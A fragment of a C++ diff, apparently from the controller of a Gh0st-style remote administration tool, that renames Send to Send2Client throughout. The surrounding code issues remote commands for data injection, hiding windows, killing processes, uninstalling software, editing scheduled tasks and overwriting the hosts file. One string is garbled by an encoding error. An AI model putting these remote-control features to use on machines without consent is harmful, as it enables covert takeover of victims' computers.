ReadFile(hFile, lpBuffer + sizeof(InjectData)+1, p_InjectData->datasize, &wr, NULL);
CloseHandle(hFile);
m_iocpServer->Send(m_ContextObject, lpBuffer, allsize);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, allsize);
SAFE_DELETE_AR(lpBuffer);
}
SAFE_DELETE(p_InjectData);
@@ -1041,7 +1041,7 @@ void CMachineDlg::ShowWindowsList_menu()
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
DWORD dHow = SW_RESTORE;
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
break;
@@ -1056,7 +1056,7 @@ void CMachineDlg::ShowWindowsList_menu()
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
DWORD dHow = SW_HIDE;
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
break;
@@ -1070,7 +1070,7 @@ void CMachineDlg::ShowWindowsList_menu()
DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1));
m_list.SetItemText(nItem, 3, _T("<EFBFBD><EFBFBD><EFBFBD>͹ر<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
break;
@@ -1085,7 +1085,7 @@ void CMachineDlg::ShowWindowsList_menu()
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
DWORD dHow = SW_MAXIMIZE;
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
break;
@@ -1100,7 +1100,7 @@ void CMachineDlg::ShowWindowsList_menu()
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
DWORD dHow = SW_MINIMIZE;
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
break;
@@ -1114,7 +1114,7 @@ void CMachineDlg::ShowWindowsList_menu()
pid = m_list.GetItemText(nItem, 0);
DWORD dwProcessID = _tstoi(pid);
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -1129,7 +1129,7 @@ void CMachineDlg::ShowWindowsList_menu()
pid = m_list.GetItemText(nItem, 0);
DWORD dwProcessID = _tstoi(pid);
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -1144,7 +1144,7 @@ void CMachineDlg::ShowWindowsList_menu()
pid = m_list.GetItemText(nItem, 0);
DWORD dwProcessID = _tstoi(pid);
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -1201,7 +1201,7 @@ void CMachineDlg::ShowNetStateList_menu()
lpBuffer[0] = COMMAND_PROCESS_KILL;
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -1270,7 +1270,7 @@ void CMachineDlg::ShowSoftWareList_menu()
LPBYTE lpBuffer = new BYTE[1 + str_a.GetLength()];
lpBuffer[0] = COMMAND_APPUNINSTALL;
memcpy(lpBuffer + 1, str_a.GetBuffer(0), str_a.GetLength());
m_iocpServer->Send(m_ContextObject, lpBuffer, str_a.GetLength() + 1);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, str_a.GetLength() + 1);
SAFE_DELETE_AR(lpBuffer);
}
}
@@ -1366,7 +1366,7 @@ void CMachineDlg::ShowTaskList_menu()
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
LocalFree(lpBuffer);
}
@@ -1394,7 +1394,7 @@ void CMachineDlg::ShowTaskList_menu()
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
LocalFree(lpBuffer);
}
@@ -1422,7 +1422,7 @@ void CMachineDlg::ShowTaskList_menu()
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
LocalFree(lpBuffer);
}
@@ -1454,7 +1454,7 @@ void CMachineDlg::ShowTaskList_menu()
memcpy(lpBuffer + offset, dlg->m_Description.GetBuffer(), lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2);
offset += lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2;
m_iocpServer->Send(m_ContextObject, lpBuffer, len);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, len);
LocalFree(lpBuffer);
}
@@ -1465,7 +1465,7 @@ void CMachineDlg::ShowTaskList_menu()
break;
case 104: {
BYTE bToken = COMMAND_MACHINE_TASK;
m_iocpServer->Send(m_ContextObject, &bToken, 1);
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
}
break;
}
@@ -1560,7 +1560,7 @@ void CMachineDlg::ShowServiceList_menu()
bToken = COMMAND_SERVICE_LIST_WIN32;
else
bToken = COMMAND_SERVICE_LIST_DRIVER;
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
}
break;
case 700:
@@ -1630,7 +1630,7 @@ void CMachineDlg::ShowHostsList_menu()
LPBYTE lpBuffer = new BYTE[1 + Data_a.GetLength()];
lpBuffer[0] = COMMAND_HOSTS_SET;
memcpy(lpBuffer + 1, Data_a.GetBuffer(0), Data_a.GetLength());
m_iocpServer->Send(m_ContextObject, lpBuffer, Data_a.GetLength() + 1);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, Data_a.GetLength() + 1);
SAFE_DELETE_AR(lpBuffer);
}
break;

View File

@@ -13,7 +13,7 @@
class CMachineDlg : public DialogBase
{
public:
CMachineDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
CMachineDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
~CMachineDlg();
enum { IDD = IDD_MACHINE };

View File

@@ -82,7 +82,7 @@ void CServiceInfoDlg::SendToken(BYTE bToken)
lpBuffer[0] = bToken;
memcpy(lpBuffer + 1, m_ServiceInfo.strSerName.GetBuffer(0), m_ServiceInfo.strSerName.GetLength());
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
LocalFree(lpBuffer);
}

View File

@@ -19,7 +19,7 @@ public:
CServiceInfoDlg(CWnd* pParent = NULL);
ClientContext* m_ContextObject;
ISocketBase* m_iocpServer;
Server* m_iocpServer;
enum { IDD = IDD_SERVICE_INFO };
CComboBox m_combox_runway;